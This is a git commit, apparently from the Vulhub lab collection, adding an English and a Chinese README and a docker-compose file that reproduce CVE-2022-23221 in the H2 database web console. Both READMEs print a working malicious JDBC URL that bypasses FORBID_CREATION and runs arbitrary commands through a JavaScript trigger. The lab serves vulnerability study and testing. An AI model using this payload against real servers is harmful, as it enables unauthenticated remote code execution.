first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
h2database/CVE-2022-23221/1.png
Normal file
BIN
h2database/CVE-2022-23221/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 22 KiB |
BIN
h2database/CVE-2022-23221/2.png
Normal file
BIN
h2database/CVE-2022-23221/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 131 KiB |
54
h2database/CVE-2022-23221/README.md
Normal file
54
h2database/CVE-2022-23221/README.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# H2 Database Web Console Pre-Auth JDBC Attack RCE (CVE-2022-23221)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
H2 database is a fast, open-source Java-based relational database management system (RDBMS) that can be used in both embedded (within a Java application) and client-server modes.
|
||||
|
||||
Springboot with h2 database comes with a web management page if you set the following options:
|
||||
|
||||
```
|
||||
spring.h2.console.enabled=true
|
||||
spring.h2.console.settings.web-allow-others=true
|
||||
```
|
||||
|
||||
In version 1.4.198, the H2 Web console restricted the creation of file databases or connecting to in-memory databases, thus fixing the [CVE-2018-10054](../CVE-2018-10054) vulnerability. However, attackers could bypass this restriction using JDBC attacks and some tricks in versions 1.4.198 up to (but not including) 2.1.210, and still execute arbitrary code.
|
||||
|
||||
References:
|
||||
|
||||
- <https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf>
|
||||
- <https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html>
|
||||
- <https://github.com/h2database/h2database/releases/tag/version-2.1.210>
|
||||
- <https://github.com/h2database/h2database/pull/1580>
|
||||
- <https://github.com/h2database/h2database/pull/1726>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Start a spring-boot with h2 database 2.0.206:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After started the container, the spring-boot is listening on `http://your-ip:8080`, the management page is `http://your-ip:8080/h2-console/` by default.
|
||||
|
||||
## Vulnerability Reproduce
|
||||
|
||||
Before reproducing this issue, we can confirm that the payload in [CVE-2018-10054](../CVE-2018-10054) is not exploitable because in-memory database is disabled after 1.4.197:
|
||||
|
||||

|
||||
|
||||
Starting with version 1.4.197, the H2 console appends `;FORBID_CREATION=TRUE` to the JDBC URL by default, preventing the creation of file databases or connections to in-memory databases. However, attackers can bypass this restriction by adding a `\` at the end of the JDBC URL, which disrupts the URL syntax and causes FORBID_CREATION to be ignored.
|
||||
|
||||
Combining this trick with JDBC attacks, we can construct following malicious JDBC URL:
|
||||
|
||||
```
|
||||
jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
|
||||
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
|
||||
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
|
||||
throw new java.lang.Exception(scanner.next())
|
||||
$$;AUTHZPWD=\
|
||||
```
|
||||
|
||||
When logging into the Web console, you can run arbitrary commands using the provided URL (pay attention to the line breaks):
|
||||
|
||||

|
52
h2database/CVE-2022-23221/README.zh-cn.md
Normal file
52
h2database/CVE-2022-23221/README.zh-cn.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# H2 Database Web Console未授权JDBC攻击导致远程代码执行(CVE-2022-23221)
|
||||
|
||||
H2 Database是一个快速、开源的基于Java的关系型数据库管理系统(RDBMS),可用于嵌入式(集成在Java应用中)和客户端-服务器模式。
|
||||
|
||||
当Spring Boot集成H2 Database时,如果设置如下选项,将会启用Web管理页面:
|
||||
|
||||
```
|
||||
spring.h2.console.enabled=true
|
||||
spring.h2.console.settings.web-allow-others=true
|
||||
```
|
||||
|
||||
在1.4.198版本中,H2 Web控制台限制了文件数据库的创建和内存数据库的连接,从而修复了[CVE-2018-10054](../CVE-2018-10054)漏洞。然而,在1.4.198至2.1.210(不含)版本中,攻击者仍可通过JDBC攻击和一些技巧绕过该限制,进而执行任意代码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf>
|
||||
- <https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html>
|
||||
- <https://github.com/h2database/h2database/releases/tag/version-2.1.210>
|
||||
- <https://github.com/h2database/h2database/pull/1580>
|
||||
- <https://github.com/h2database/h2database/pull/1726>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个集成了H2 Database 2.0.206版本的Spring Boot:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
容器启动后,Spring Boot服务监听在`http://your-ip:8080`,H2管理页面默认地址为`http://your-ip:8080/h2-console/`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
在复现本漏洞前,可以先确认[CVE-2018-10054](../CVE-2018-10054)中的payload已无法利用,因为1.4.197之后内存数据库被禁用:
|
||||
|
||||

|
||||
|
||||
自1.4.197版本起,H2控制台会默认在JDBC URL后追加`;FORBID_CREATION=TRUE`,阻止文件数据库的创建和内存数据库的连接。但攻击者可以在JDBC URL末尾添加一个反斜杠`\`,扰乱URL语法,使FORBID_CREATION被忽略。
|
||||
|
||||
结合该技巧与JDBC攻击,可以构造如下恶意JDBC URL:
|
||||
|
||||
```
|
||||
jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
|
||||
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
|
||||
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
|
||||
throw new java.lang.Exception(scanner.next())
|
||||
$$;AUTHZPWD=\
|
||||
```
|
||||
|
||||
在Web控制台登录时,使用上述URL即可执行任意命令(注意换行):
|
||||
|
||||

|
6
h2database/CVE-2022-23221/docker-compose.yml
Normal file
6
h2database/CVE-2022-23221/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/spring-with-h2database:2.0.206
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "5005:5005"
|
Reference in New Issue
Block a user